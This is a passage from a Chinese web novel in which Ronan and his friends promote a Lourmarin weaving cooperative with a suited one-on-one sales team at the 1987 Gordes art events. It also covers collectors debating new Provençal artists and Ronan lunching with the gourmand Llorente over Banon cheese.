歌迪亚的指导让明天的戈尔德之行变得更加有目的性。 他们的目标只有一个,那就是让更多普罗旺斯的艺术家和收藏家知道有编织工艺的存在,如果在这个过程中,他们顺带着买点东西走就更棒了。 “等我们的好消息吧!”罗南举起酒杯敬歌迪亚。 第二天一早,罗南开车带巴蒂和佐伊去戈尔德。 佐伊要去活动所在的展厅,把她送到地点后,罗南先带着巴蒂去了帕斯卡先生的橄榄油工坊。 在那里,卡福和他的伙计们已经准备两天了。 知道‘希望’可以给巴蒂的展厅带去流量后,罗南的第一个想法是在戈尔德举办一个小规模的编织展览,面积不需要多大,可以展示出编织的多样性就可以了。 但是他咨询了组委会,又联系了人脉广阔的略伦特先生,得出的结果全部是——不可能。 无论规模再小,只要和‘艺术展览’沾边都要进行申报,而现在的时间已经不允许。 之后罗南转换了思路,展览不行,但没说不让卖啊。 在戈尔德举行系列艺术展览的这段时间,找个地方集中卖编织物,依然可以起到‘展览’的作用。 商铺肯定是找不到了,他们需要一片可以布置的完整区域,在现在的戈尔德,找到能满足要求的场地对方会把罗南口袋里的钱榨干。 于是罗南想到了在戈尔德开橄榄油工坊的帕斯卡。 帕斯卡的工坊没有对外售卖的‘窗口’,但它门口的区域非常开阔,可以停下两辆大卡车。 罗南给帕斯卡打去电话,帕斯卡说橄榄油工坊属于私人用地,可以在这片土地上进行商业行为,但想要把摊子摆出来,必须有相对应的资质,而帕斯卡只有和橄榄相关的资质。 这个时候,去年秋天申请的合作社就起到了作用。 布兰科当时的无意之举让罗南可以在艺术家扎堆的戈尔德名正言顺的摆摊卖东西了。 帕斯卡是有钱人,又和罗南是朋友关系,这片地几乎免费借给他用了,只是象征性的收了几百法郎。 罗南和巴蒂距离目的地还有100多米就看到了迎风飘扬的彩旗,上面用硕大的字体写着——卢尔马兰手工艺合作社。 下面还有一行稍小,但依然很清晰的单词——主席:罗南。 “这旗子没印好啊,应该把你的名字放在合作社名字的上面。”见到目标临近,巴蒂不由得加快了脚步。 罗南连连摇头: “没必要,把我的名字印上去也是不得已为之咱们主要宣传的还是工艺和工艺品。” 在戈尔德提到编织工艺可能是十人里面只有两三个人能说出点东西.但在戈尔德提罗南的名字知道的人就多了。 即使是近两天才来的人,也知道在1月份展出了一个叫‘希望’的甜品,而它的作者名叫罗南。 “太有必要了!”巴蒂反驳道,“不和你扯上关系,谁对编织感兴趣啊。” 罗南砸了一下嘴,哭笑不得的说: “编织本身就是一项很有魅力的工艺好不好,不感兴趣是因为他们不了解,咱们今天不就是来让大家了解编织的吗?” 巴蒂满不在乎的说: “反正不管用什么手段,只要未来能卖出东西就好,那些可爱的妇女们这两个月赚的没有12月多了。” 两个人说话间,一个穿西装打领带的精神小伙走到他们面前: “这边!” 近期戈尔德路上经常有莫名搭讪的人出现,都是给各个展览‘拉客’的人。 巴蒂摆了下手,礼貌的对他说: “抱歉,我们赶时间,不去了。” 之后他继续和罗南聊今天要做的事情。 但那个精神小伙依然不肯离开,甚至拉住了罗南的胳膊: “这边,这边。” 罗南感受到对方手掌上的力度,心想那些展览太过分了吧,拉客都用上‘练家子’了? 这小伙子的手劲一般人真扛不住。 他不悦的抬起头来,这一看不得了,这人居然是卡福的伙计之一! 半个月前这小子还跟罗南一起埋过葡萄藤。 罗南记得他叫格隆丁。 “你怎么穿成这样了?”罗南后退了一步,上下打量格隆丁。 如果在路上迎面碰到,罗南也不敢认他,格隆丁不仅穿上了西装,还打理了头发和胡子,看起来像是坐在办公室里工作的‘白领’。 穿上了西装和领带的格隆丁,动作也变得绅士了起来,他微微前倾身体,做了一个‘请’的手势: “现在身份不一样了嘛.头儿让我在这等你们,说你们来了先去‘销售团队’布置工作。” 罗南和巴蒂互看了一眼。 “销售团队?” 橄榄油工坊门口的摊位只有几米长,容纳不下卡福和他的兄弟们。 在橄榄工坊的院子里,罗南和巴蒂看到了格隆丁口中的‘销售团队’。 那是三十多个打扮精致、手拿公文包、荷尔蒙爆棚的男人。 巴蒂在这里已经有些无法抬头做人了。 在很多情况下,身材和气质可以决定一个男人气场,脸倒是其次的。 卡福的伙计们长年干体力活,身材挺拔健硕,穿上西装和衬衣像模特一样好看。 巴蒂穿上衬衣西装像是一根挂衣服的树干。 他后撤了一步,把罗南推出去: “你讲吧,你讲。” 罗南低头看了看自己的一身休闲装早说你们都穿的那么正式,我也换衣服了啊。 卡福催促道: “快点说话啊你们俩,我们今天怎么配合你们?” 卡福不仅穿上了西装,还戴上了眼镜,西装暴徒说的大概就是他了。 罗南都不敢正眼看卡福,一看就想笑,他低头清了清嗓子: “留几个人在摊位这里看着,其他人跟我和我巴蒂一起去他的艺术展,如果在那里遇到对编织感兴趣的游客,且他们愿意看看别的编织品,就把他们带到这里来,不过有几点需要注意——” 戈尔德建筑密集区范围很小,大概只有0.5平方公里,只要在鸟巢村内,步行去哪里的路程都不长,巴蒂编织艺术品展览的场馆距离这个临时摊位只需要几分钟。 罗南回忆着昨晚歌迪亚的叮嘱,郑重的说: “对艺术感兴趣的人不喜欢提钱,即使我们要卖的就是商品,推销过程中也要提价值而不是价格,这更利于销售。” 他们目标是艺术爱好者、艺术家和收藏家。 歌迪亚是开艺术品商店的,她每天都和这些人打交道。 此前她已总结出了一套‘售卖宝典’,让罗南在今天转告给卡福他们。 卡福双手抱胸,西装都要撑破了。 他给兄弟们展开描述: “不要跟客户说要花多少钱,跟他们说能从中获得什么东西,之前给你们培训的那些话术还记得吧?好看的装饰可以提升房屋的美观度;优化居住体验可以提升舒适度;家里好看,幸福度会随之提升;色彩和风格的搭配可以避免视觉冲突,从而提升和谐度” 讲了十几种‘度’后,卡福伸出食指在面前点了几下: “记不住的现在赶紧回忆一下!” 巴蒂在后面补了一句: “不要忘记罗南也是价值之一,他的名字更具价值,一定要提醒客户卢尔马兰手工艺合作社是罗南发起的!” 罗南尴尬的摸了下脑门,继续讲歌迪亚的嘱托: “还有就是喜欢艺术的人很重视仪式感,他们喜欢在浏览的过程中感受到自己很尊贵,所以你们接待客户时,要一对一服务,不要混在一起。” 歌迪亚只是提醒了罗南前半部分,一对一服务是罗南自己加进去的。 罗南穿越前也是做服务行业的,对‘独享’服务有一些了解。 ‘专属服务’制度起源于18世纪末的法国宫廷,法国凡尔赛宫的御用珠宝商为贵族提供秘密沙龙服务,避免王室成员与平民顾客接触。 到了20世纪初,爱马仕推出了一项‘闭店服务’,顾客需经会员推荐才能进入特定区域,全店只服务一人。 到了20世纪80年代,奢侈品一对一制度开始在全球普及,其核心是用‘专属感’替代消失的封建等级符号。 有社会学家评论——当代奢侈品店是民主社会的秘密宫廷。 为什么到了20世纪80年代后,所有奢侈品店都要进行‘一对一专属服务’呢? 那肯定是因为这样做有无尽的好处啊。 麦肯锡奢侈品报告指出,一对一服务使客单价提升30-50%,顾客更易为‘专属建议’买单,一旦销售和客户维护好关系,还可以提高复购率。 卡福从一开始就把编织饰品客群定位成了有钱人,他给每一种编织商品的定价都不便宜,一个编织灯可以卖到上千法郎,这绝对属于这个时代的‘奢侈品’。 所以结合了歌迪亚的提醒,罗南借鉴了后世奢侈品商店的服务模式,也启用了1对1服务。 在1987年,这种尊贵的服务之风只在巴黎盛行,还没有吹到普罗旺斯,罗南觉得这也许可以做为一种特色,增加客群对他们的印象,有助于编织艺术品的传播。 而且罗南的眼光也比较长远,现在只是卖编织饰品和灯具,未来说不准会卖编织家具和艺术品,他系统里还有那么多没有开垦的技能.也许未来真的有可能会和‘奢侈品’结缘,不如从一开始就把基调打好了。 卡福对罗南的一切建议都是听从的态度,他双手背后,像教官教训士兵一样,声音洪亮的对小伙子们说: “记住我每天跟你们重复的话,顾客就是上帝,见到上帝是什么样子,你们对待客户就是什么态度!” “明白!”卡福的兄弟们声音洪亮的说。 巴蒂一连‘哇哦’了好几声,小声对罗南说: “卡福的团队太专业了。” 这些精神小伙一个个昂首挺胸、精神抖擞,像是要上阵杀敌一样。 卡福继续培训,指着摊位的方向说: “还有我一直强调的专业性!那里不叫摊位,叫临时展区!” “明白!”小伙子们声音洪亮的说。 突然,卡福指向罗南: “这是谁?” “主席先生!!”小伙子们大声喊道。 卡福又指巴蒂: “这是谁?” “秘书长先生!!”小伙子们干净利落的说。 卡福伸出右手,像宣誓一样问: “有信心打赢今天这场硬仗嘛?” “有!!”小伙子们的嗓音坚定又热忱。 卡福回头对一脸惊恐的罗南和巴蒂说: “好了,我们可以出发了。” 罗南快速整顿了一下心情,点头说了一句‘好’。 这只‘销售团队’让他吃惊到了.同时他对今天的信心更加足了! 第321章 罗南是一种保障 罗南跟着巴蒂步行去往他的艺术展厅。 他们的计划的是在作品前寻找驻足的游客,并‘自然’的把罗南的名字和身份介绍出去。 但刚进展馆,罗南就被几个要出去的上阿尔卑斯省游客认出来了。 罗南有些不确定的摸了摸自己的脸。 他在戈尔德这么有名了吗? 但他只在半个月前来过戈尔德半天啊 罗南礼貌的和这几名游客打招呼,好奇的问出了这个问题。 一个游客拿出今日的《普罗旺斯日报》,指着上面巨大的头版照片说: “你上报纸了,就是今天的!” 戈尔德艺术展无疑是普罗旺斯近期最火热的话题,《普罗旺斯日报》分出了一个专题版面,介绍活动上的最新资讯,而且每天也有一个头条位置。 罗南先是意外的看向头条位置的照片,那确实是他。 是他在罗德里格先生的艺术展中介绍‘希望’时拍下的。 随即他看向了旁边的标题——《普罗旺斯新晋艺术家代表罗南将携新作登陆戈尔德中心雕塑展,甜品艺术是否可以再次席卷戈尔德?》 罗南的眼睛瞪大了一圈。 我成普罗旺斯新晋艺术家代表了? 什么时候的事?? 热情的游客没有留给罗南太多看报纸的时间,他们询问了几个关于雕塑展的问题后,问他: “你今天来看展的吗?” 罗南点头: “对,我老师的作品在这里展出,前几天一直没有顾得上来看。” “你老师?”那几人迟疑了一下,“是D馆的那个编织艺术品吗?” 罗南回头看了一眼,格隆丁马上走了过来。 之后罗南开始着手办今天的正事,笑着对这几位游客说: “是的,我们还带来了其他编织产品,就在距离这里不远的地方。” 格隆丁在罗南面前停下,恭敬的问: “主席先生,有什么可以帮助您的?” 罗南不能陪这些顾客聊太久,他和巴蒂要去D馆找更多的游客。 而且他只是个‘牌子’,后面要‘销售’负责了。 又聊了几句他和这批游客告别,和巴蒂一起继续去往目的地D馆。 “再见主席先生,再见秘书长先生。”格隆丁微微前倾身体,目送他们离开。 那几个游客也目送罗南离开。 这人一直叫罗南主席? 他是什么的主席啊? 这是格隆丁第一次穿成这样面对顾客,他也很紧张。 默默回忆了一遍卡福对他们的培训后,格隆丁决定先上价值: “罗南主席发起了一个手工合作社,是专门做编织工艺的,这次我们也带着作品来了,临时展区就在这里不远的地方,如果你们愿意去看看,我可以为你们讲解。” 格隆丁还想继续把那些‘度’搬出来,但游客先一步开口了: “罗南发起的手工合作社吗?” 格隆丁点头: “是的,罗南先生是主席。” “好啊,那带我们去看看吧。”这几名游客很快做出了决定。 罗南刚刚只是看了一眼《普罗旺斯日报》的照片和标题,没看里面的内容,但这些游客可是全部看完了。 今天这篇文章把罗南写成了普罗旺斯艺术界的超新星! 他是唯一一个用甜品作品登上普罗旺斯艺术舞台的艺术家,还会小众的编织工艺,而且非常有个人魅力,不止是艺术家,他还是餐厅老板、松露猎人. 罗南身上有太多大家欣赏又向往的东西了。 现在他又发起了一个手工合作社。 谁不想去看看,了解更多关于罗南的细节呢? 格隆丁一愣。 这就去了? 头儿是不是把困难想的太严峻了? 这也没有那么难啊。 另一边。 巴蒂一进入D馆就皱起了眉头: “人比平时更多了,原来没有这么多人。” 罗南第一次来这里,看不出人的多少: “可能因为安迪·戈兹沃西今天开始创作了,游客大军到了。” 安迪·戈兹沃西要在戈尔德城堡外进行现场创作。 由于他的作品要体现大自然的‘偶然性’,也许一天创作完,也许半个月创作完,谁都说不准。 报纸上说,安迪·戈兹沃西自己都不知道‘大自然这次会给他什么启示’。 担心这位伟大的英国雕塑家‘灵感’缺失,一天就结束战斗,戈尔德的游客量会于今日来到顶峰,所有来看安迪·戈兹沃西的人,今天都会抵达戈尔德。 罗南也打算今天抽空去看看这位大师创作成什么样子了。 “不是的。”巴蒂个子高,他踮起脚尖能看到的距离更加远,“是《普罗旺斯日报》的头条起作用了,我作品前的人最多!” 罗南和巴蒂之前演练了许多次,如果遇到对编织感兴趣的游客,如何‘自然’的把罗南的名字和身份带出来为此他们还设计了沟通的‘暗语’和手势。 但他们完全想多了。 马雷查尔提前一周定下今天的头条,是为了在安迪·戈兹沃西开始创作的这天稀释掉他的热度,但谁也没想到罗南今天会来戈尔德。 总会有看报的人能认出罗南,因为他的黄皮肤太扎眼了。 一个人认出来,一群人就围上去了。 在流量最高峰的日子登上《普罗旺斯日报》头条,使罗南和巴蒂的编织推广计划非常顺利的推进了下去。 不,是太顺利了! 罗南以为30多个销售足够了,没想到居然不够用.在巴蒂的作品前,已经出现等待被接走的游客了,真的就像等待进入奢侈品商店的顾客一样。 巴蒂和罗南歉意的给大家解释他们的‘一对一服务’是为了更好的提高大家的体验,编织这项技术太小众,他们不想大家‘囫囵吞枣’的看看而已,而是想专业的给他们介绍。 八十年代,博物馆和艺术展会还没有流行起电子讲解技术,大部分游客也不会花钱请专业的人来讲解。 当他们孤独的逛了好几天展览,尤其是抽象的艺术展里大概有90%的作品都看不太懂时,突然有人说,我要给你安排一个专属‘向导’,他会全程只服务于你,你有什么问题他都会给你解答的。 上帝,这简直是贵宾的体验好吗? 我们愿意等! 大家不仅理解罗南和巴蒂给出的理由,还鼓励他们说: “如果大家都能像你们这么细心就好了。” 罗南一边和游客、同行交流艺术心得,一边在心中惊叹: “这是在逼我开个奢侈品店啊!这些人似乎很吃这一套?” 在橄榄油工坊的留守的卡福也被惊到了。 他做足了打硬仗的准备,但出去的小伙子们很快一个个回来,而且身边全部带着客人。 罗南制定的计划这么好用吗? 格隆丁是第一个回来的,他也是第一个接待完客人的。 见他闲了下来,打算回去,卡福拉住他问: “为什么会这么顺利?” 格隆丁耸肩: “其他人我不知道,我只是说了一句‘是罗南主席发起’的,他们就跟我来了,头儿,我觉得巴蒂说的没错,罗南就是最大的价值。” 卡福半信半疑的对他抬了下下巴: “行了,你回去吧。” 格隆丁走后,卡福去远一点的地方抽烟,顺便透透气。 他身材太壮了,穿西装憋的要死,来这里解开几个扣子缓一下。 正巧这个时候从他身边经过了两个刚刚看完编织品的游客。 “虽然这里摆出的东西不多,但感觉挺专业的。” “是,手工艺品本就是无价的,还有这么好的服务,我甚至觉得他们的标价有点低了。” “这个罗南挺有意思的,涉及了这么多行业,哪个做的都挺不错,我们去他餐厅时也一致感觉挺好的。” “我觉得罗南的名字就是一种保障吧,来看编织品之前我就知道这里肯定不会差,毕竟他的甜品艺术品做的那么棒。” “不止是看到罗南的名字,以后看到卢尔马兰手工合作社我也知道东西有保障,这是一个很高端的合作社,因为是罗南发起的。” “哎呀,这不是跟我说的一个意思嘛” 卡福顾不上把烟抽完,赶紧把扣子扣好。 罗南好不容易给顾客们留下的好印象,绝不能让他毁了。 卡福一边艰难的系扣子,一边笑着嘟囔: “我就知道跟着罗南这小子肯定能混的更好,我们这帮搞装修的,居然跟高端沾边了?” 卡福抽完烟回去,看到一个伙计可能是说了太多的话,正大口大口的喝水,水顺着脖子流到他的衬衣上。 卡福飞扑过去,在他脑袋上狠狠敲了一下: “怎么教你的!回去再给我看20遍《教父》,看看里面的人穿上西装是什么样子的!” “头儿,我已经看过20遍《教父》了”那个伙计抱着脑袋说。 卡福更加用力的敲了他一下: “那就看20遍《教父2》!” 在卡福教育手下如何穿好西装时,四个穿着黑西装的男人从他们的摊位前经过。 卡福等人的目光不由的被吸引了过去。 今天是他们中的许多人第一次穿上西装,即使看了一百遍《教父》也拿捏不出该有的气势,只是徒有其表罢了。 不过这四个人穿上西装的感觉就完全不一样了。 这几个是穿西装的高手卡福在心中评价道。 在那四位西装高手前面一米,有一个少女正脚步轻盈的左右张望,看到卢尔马兰手工艺合作社的旗子,她惊喜的‘咦’了一声,就要过去看看。 但身后的保镖把她拦住了: “小姐,您不能再玩了,我们已经迟到了。” 那少女撅着嘴跺了一下脚: “烦死了,爸爸参加不了就推掉好了啊,为什么一定要让我去?普罗旺斯艺术界的面子跟我们有什么关系呀,我一点都不想去开那个什么会!” 第322章 熟人扎堆 2月初的戈尔德,群英荟萃。 这里既是艺术爱好者的汇聚地,也是收集爱好者的汇聚地。 法国和周边邻国的著名收藏家都来凑热闹了。 作为主办地普罗旺斯、作为爱聚会的普罗旺斯人,自然会组织起小规模的高端收藏家聚会。 成功的艺术活动只有关注度和声量远远不够.还需要有‘成功’的作品。 而造就成功作品的人,就是面前的这些高端私人收藏家们。 他们无疑是这次戈尔德系列艺术活动中,除了艺术家外最核心的人物。 二十世纪七十年代起,法国公立博物馆预算遭大范围削减。 有些博物馆甚至会直接暂停收藏基金,舍弃掉‘脸面’,用学术地位等条件换取私人收藏家合作.只为换得‘长期借展’的机会。 可以说,现代艺术已经被资本狂潮所席卷了。 就连格拉内博物馆的馆长诺曼德先生都要为了维护客情关系,在这种私人聚会上充当‘讲解员’的角色。 不过,也不是所有私人聚会都能请到诺曼德,只有在汇聚着普罗旺斯收藏界最重要的一批人物时他才会出席。 “贝尔纳·布菲的《薰衣草田》使用了粗黑线条加阴郁黄色调,和普罗旺斯一贯的传统明快画风截然相反,非常有特色。” “安尼施·卡普尔用红色蜡块创作的《血穹顶》也很不错,得到了业内一致好评。” “雷蒙·德巴东的《普罗旺斯农场》系列摄影展这次办的也不错,是个人艺术展览中最出众的。” 诺曼德笑着问在场的十几位‘贵宾’: “大家对这次展览的印象如何?” 贵宾们各抒己见,从个人兴趣角度出发,发表了一些看法和意见,但并不是每个人都会在这次活动中‘出手’。 罗德里格也参与了今天的聚会,而且他的态度是最积极的: “如果说印象最深的作品,那一定是‘希望’啊,但是太可惜了.‘希望’无法收藏。” 诺曼德深有体会的点了一下头。 他同样很喜欢‘希望’,如果不是材质的特殊性,他甚至会考虑将它收入到格拉内博物馆里。 格拉内博物馆是普罗旺斯地区规模最大的博物馆之一,虽然收藏基金缩减,但诺曼德手里有预算.只是需要谨慎。 因为‘希望’的出现,罗德里格在普罗旺斯艺术界的口碑都跟着好起来了——终于不再是‘垃圾’收藏家。 其他实力藏家问罗德里格: “罗南即将在中心雕塑展展出的作品是什么,你见过吗?” 高端收藏家们拥有更加广阔的渠道,早在几天前,他们就知道罗南又要有一件甜品艺术品登陆戈尔德了。 罗德里格摇头: “只知道依然是甜品,马雷查尔没有透露出其他消息。” 其他人点了点头,他们拿到的消息也是类似的。 “这次戈尔德的艺术活动中最好的作品是哪个我说不准.但它让这名叫罗南的新晋艺术家火起来了。”罗德里格旁边的妇人笑着说。 “是啊,马雷查尔都用新晋艺术家代表形容他了!”罗德里格开心的说。 是罗德里格给了罗南在普罗旺斯艺术舞台展示的机会。 夸罗南就是夸他罗德里格! 罗德里格只希望未来罗南能在戈尔德继续发光发热!! 但在场的某位贵宾,发出了一道明显不赞同的‘鼻音’。 众人闻声看过去,纷纷挪开视线,不敢多说什么。 这位可惹不起! 罗南是诺曼德非常看好的新人艺术家,他也看了过去,并友好的问: “帕特里西亚小姐,你不喜欢罗南的作品吗?” 罗德里格偷偷皱眉。 帕特里西亚挺喜欢罗南的作品啊她来到戈尔德的第一天就来看‘希望’了。 帕特里西亚露出端庄的笑容: “不是的诺曼德馆长,我很喜欢罗南的作品.只是认为普罗旺斯新晋艺术家代表另有其人罢了。” 诺曼德露出了饶有兴致的笑容,微笑着问: “是哪位?” 帕特里西亚微微抬起下巴,自豪的说: “我父亲说,他在某位普罗旺斯新人艺术家身上看到了新的时代性和无限可能。” 帕特里西亚的父亲是普罗旺斯最大的私人收藏家,而且在普罗旺斯商界地位显赫,帕特里西亚的这番话让在场众人的耳朵全部竖起来了。 是谁啊? 帕特里西亚见大家的兴趣都被勾起来了,满意的拍了一下扶手: “那位艺术家叫佐伊。” “佐伊.” “佐伊?” 在场众人面面相觑的时候,诺曼德先生恍然大悟的点了下头: “我记起来了,图拉姆先生请她给您做了成人礼礼物。” 这个订单是诺曼德先生所在的格拉内博物馆帮忙促成的。 “没错!”帕特里西亚欢快的点了下头。 诺曼德先生可能是在场中最了解佐伊的人,他给众人介绍: “那是一名专注玻璃和陶瓷工艺结合的新人艺术家,她的作品主题全部围绕动物.我记得她来自卢尔马兰。” 帕特里西亚瞪大眼睛‘呀’了一声: “也来自卢尔马兰吗?罗南好像也是来自卢尔马兰吧?” 她来的路上看到了卢尔马兰手工艺合作社的旗子,所以记得非常清楚。 罗德里格肯定的说: “是的,罗南来自卢尔马兰,他在卢尔马兰开了一家餐厅。” 忙完艺术展,罗德里格要去找罗南聊点‘事情’,所以他对罗南住在卢尔马兰的印象也非常深刻。 在场众人小声交头接耳起来。 不管普罗旺斯的新晋艺术家代表是大家一致认为的罗南,还是帕特里西亚钟爱有加的佐伊.他们都来自卢尔马兰啊。 那不就是说,普罗旺斯艺术的未来在卢尔马兰? 这个小地方出了这么多人才吗? 有机会得去看一看了 帕特里西亚非常不喜欢参与这种聚会,这太浪费时间了。 为了快速离开去做她感兴趣的事情、也为了让主办方不要在她身上产生过多的期待,这位普罗旺斯旅游业大亨的女儿率先表明了态度: “爸爸最近很忙,没时间来戈尔德,我会根据自己的喜好收作品,而我只喜欢动物.所以只打算接触佐伊的作品,别的作品就不和大家抢啦!” 诺曼德回头和活动主办方的人交换了一下眼神。 如果帕特里西亚和他背后的图拉姆先生不参与,可以创造‘成功’作品的藏家又少了一个啊。 罗南和巴蒂的编织推广计划非常顺利。 快到午饭时间,卡福让伙计给他们俩带话,说可以稍微休息一下,‘临时展区’那里快接待不过来了。 中午他会用最快的速度把卢尔马兰手工艺合作社的摊位做一个升级,争取下午可以接待更多的朋友。 既然如此,罗南和巴蒂离开展厅去吃午饭。 “去找佐伊吗?”巴蒂问罗南。 罗南摇头: “佐伊今天中午约了艺术家朋友吃饭,不用去找她。” “那咱们随便找个地方吃点东西就好了。”巴蒂开始四处打量可以吃饭的地方。 罗南歉意的说: “我今天中午也有约了。” 巴蒂不满的抗议: “凭什么啊,凭什么你第一次来就能找到艺术家吃饭,我来戈尔德半个多月了,从来没人约过我。” 罗南拍了一下他的肩膀,辨认了一下方向后朝着某个方向离开: “不是艺术家,是美食界的前辈,先走了,下午见。” 来戈尔德卖东西的时候,罗南麻烦过一次同样居住在戈尔德的略伦特先生,虽然因为时间的问题,对方没有帮上忙,但罗南还是以‘感激’为由约了一顿饭。 主要是春天快到了,罗南想多在略伦特先生的面前刷刷存在感.千万别把自己忘了。 他需要多多参加普罗旺斯的活动来增加人气,就像这次的戈尔德艺术活动一样。 去赴约的路上,罗南路过了戈尔德城堡。 这里毫无疑问是戈尔德今天最热闹的地方,已完全被各路媒体和参观游客所攻陷了。 城堡周围挂了一圈印有安迪·戈兹沃西大照片的旗子和宣传画。 大概有上百人挤在一起观看这位英国艺术家现场创作。 罗南试图进去学习一下,但完全挤不进去。 据说城堡里有一个在实时转播的大屏幕,但罗南连城堡的大门都看不到了。 他有些遗憾的离开了这里: “普罗旺斯艺术界想要抢安迪·戈兹沃西的风头需要加把劲啊.这里比任何一个展览都热闹。” 罗南出来的时间比较早,到约定餐厅的时间也早了一会。 但超过了约定的见面时间,略伦特先生才出现。 “实在对不起,最近来戈尔德的朋友太多了,在路上走着都能碰到熟人,耽搁了些时间。” 罗南很懂事的说: “理解,最近大家都来看艺术展了。” 略伦特把外套脱掉,坐到了罗南对面,笑着说: “不过我刚刚在路上遇到的朋友你也认识,是朱莉特。” 罗南一听就笑了。 原来是他的‘好姐姐’啊。 诶,朱莉特在戈尔德? 那是不是可以找她聊聊农业部的政策问题? “那还真是熟人。”罗南把菜单递给略伦特先生。 略伦特接下菜单,用闲聊的语气说: “朱莉特说伊内斯也在戈尔德,你不知道吧?伊内斯其实也是一位狂热的艺术品收藏家呢。” 第323章 专业的美食家 罗南对伊内斯热衷收藏并不意外。 伊内斯是米切兰杂志出版社的主编,普罗旺斯时尚界‘大佬级’的人物。 时尚和艺术自古呈跨媒介共生状态,在当代互相渗透的更加严重。 伊内斯在聚会上也会经常聊起一些和艺术相关的话题,她对和‘美’相关的艺术品非常感兴趣。 罗南意外的是,略伦特和朱莉特的关系似乎变亲近了。 如果只是在路上碰到简单打个招呼的关系,不会耽误那么长时间,朱莉特也不会无聊到告诉略伦特伊内斯也来戈尔德了。 但在一年前,罗南在阿普特参加的第一个粉红酒爱好者协会上,朱莉特和略伦特看起来是陌生人的状态。 想到这里,罗南不禁抬头看向对面的那人。 略伦特是最近和朱莉特熟悉起来的? 不会也是因为寒潮吧? 略伦特所效力的阿尔诺家族垄断了部分普罗旺斯奶酪供应链,帕斯卡说,阿尔诺家族还拥有普罗旺斯最大的绵羊养殖基地他们一定同样受灾了。 看来罗南之前想的几条路可行。 朱莉特也许真的可以在寒潮重建时期起到关键作用。 罗南没有太长的思考时间,因为对面的略伦特先生开始点菜了。 能看出他是这家餐厅的常客,根本不用看菜单就把这里的特色菜一一点了出来。 在贴心的帮罗南点了粉红酒后,略伦特先生问罗南: “再尝尝地道的邦翁干酪吧?” 罗南的眉头微不可查的皱了一下,不过很快点头: “好的。” 法国的奶酪种类有许多,但邦翁干酪是罗南最不喜欢的一种。 在巴黎居住的那些年,他不止一次在电视或者报纸上看到有人说,这种未经高温消毒的山羊奶酪有多么多么的好吃。 他也曾鼓起勇气多次尝试.但每次都是一场非常糟糕的体验。 巴黎卖的邦翁干酪色泽苍白,表皮泛着水珠,质地硬且韧,味道是苦的,闻起来还有一股氨水味。 罗南一点都不想回忆它。 不过略伦特想吃,他只能点头啊。 见罗南同意了,略伦特把菜单合上交给服务员: “再来一杯榨酿白兰地。” 罗南疑惑的看过去。 还没吃饭呢,先把‘普罗旺斯窟窿’点好了? 略伦特先生对罗南眨了一下眼睛: “这杯是给邦翁干酪的。” 不一会,被叶子包裹着的邦翁干酪和餐前面包一起端到了餐桌上。 略伦特没有开玩笑,他真把榨酿白兰地浇到了包裹着着叶子的奶酪上: “地道的邦翁干酪就要用最地道的方法吃。” “很神奇的地道吃法。”罗南侧了下脑袋,“我只知道奶酪配酒吃,还没见过奶酪泡酒.这是为了激发里面的某种香气吗?” 略伦特颇为赞赏的点头: “没错,纯正的邦翁干酪必须用栗叶整个包起来,这种叶片中含有单宁酸,被白兰地或者葡萄酒激发会马上挥发出来,让奶酪的味道更具有层次,不用泡太久,现在就可以吃了。” 说着,他把叶子打开,示意让罗南试一试。 罗南面不改色的用刀子挖了一小块,抹到新鲜的法棍上,小小的咬了一口,眼睛顿时亮了。 和在巴黎吃的不一样,而且他发誓这和白兰地没有关系,连口感都变了。 印象中质地硬且韧的干酪变得滑顺又柔软,像是油膏一样。 “这是我吃过最好吃的邦翁干酪。”罗南客观的评价。 略伦特一手拿着法棍,一手指邦翁干酪的盘子,用专业的口吻说: “全法只有普罗旺斯的邦翁干酪好吃,这里的邦翁干酪直径在七十五毫米至八十五毫米之间,厚度在二十毫米至三十毫米之间,定成这样的大小,是为了适合两个人吃,熟成期较短的邦翁干酪宜配红葡萄酒,熟成期较长的邦翁干酪宜佐较甜的酒,就比如你手里的粉红酒。” 罗南举起他的粉红酒,用敬佩的语气说: “不是普罗旺斯的邦翁干酪好吃,应该说是阿尔诺家族制作的邦翁干酪好吃。” 在略伦特拆包装前,罗南已经看到这个奶酪的牌子了。 怪不得可以占据普罗旺斯奶酪出口份额的 25%,还可以垄断一部分奶酪品类,真是有点东西啊。 略伦特举起他的红酒杯,笑着和罗南碰了一下,随后在奶酪上撒上了一点胡椒和盐: “我们吃的这个是熟成期较短的奶酪,但稍微改变一下口感,它就适口你的粉红酒了,快试试吧。” 罗南在心中默默感叹: 不愧是想要把沃克吕兹省美食资源整合起来的男人,在‘吃’方面确实是专业的。 罗南在普罗旺斯居住一年多。 大大小小的‘美食家’遇到无数个。 但今天,他心服口服的评价略伦特是真正的美食家。 和略伦特比起来,弗雷迪像是在玩过家家。 略论特可以说出每一道菜的历史起源,还可以讲出这道菜在普罗旺斯的哪里吃最正宗,同时总是能给罗南推荐一些看起来很难理解,但吃起来非常不错的吃法。 罗南今天真是长见识了。 这些知识靠系统是无法获取的,罗南把它总结为——纵横美食界几十年的宝贵经验。 “真心希望您有机会能去我的餐厅提一提意见。”罗南无比期待的说。 略伦特依然是那副热情的样子,但说出来的话罗南无比熟悉: “有机会一定去,最近实在太忙了,一直没有抽开身。” 罗南明白这个‘机会’不是一时半会能等到的,于是聊起现在就能对他有所帮助的事情: “听说阿尔诺家族有自己的牧场,上个月的寒潮.影响大吗?” 略伦特的脸色肉眼可见的差了起来: “影响非常大。” 罗南没继续问具体的受灾情况,把话题引向了应对措施: “这几个月应该很忙吧?一定有很多头疼的事情要处理。” 略伦特略显烦躁的点头: “是的,要推进品种改良、要做牧厩改造、要寻找新的能源升级解决方案,还要了解新出的气象保险一大堆事情要去处理。” “气象保险?”罗南用嘲笑意味明显的语气说,“普罗旺斯有气象这种东西吗?” 他对普罗旺斯的气象系统深恶痛绝! 略伦特没有详细讲,只是简单的说: “政府正视起了气象对普罗旺斯的重要程度,认为一味的被动防御是没有用的,应该主动抗灾,在推进和气象有关的保险出台。” 罗南摇头: “灾难都过去了,再推进保险有什么用啊。” 略伦特轻轻挥一下手: “他们的行动当然不止这一个,总之这次灾害让该动起来的人都动起来了。” 罗南回忆着略伦特刚刚说的内容问: “您说的那些技术升级是通过哪里找到的渠道?我也有一块地,也想咨询一下相关的问题。” 略伦特停顿了一下,突然把话题岔开了: “那些并不是我负责的工作部分,这样吧,我帮你问问,问到了告诉你怎么样?对了,你这次的‘展出’还顺利吗?最后找到地方了吗?” 罗南知道这是略伦特不想回答这个问题。 这个‘老奸巨猾’的家伙可不像他其他的朋友那样乐于助人。 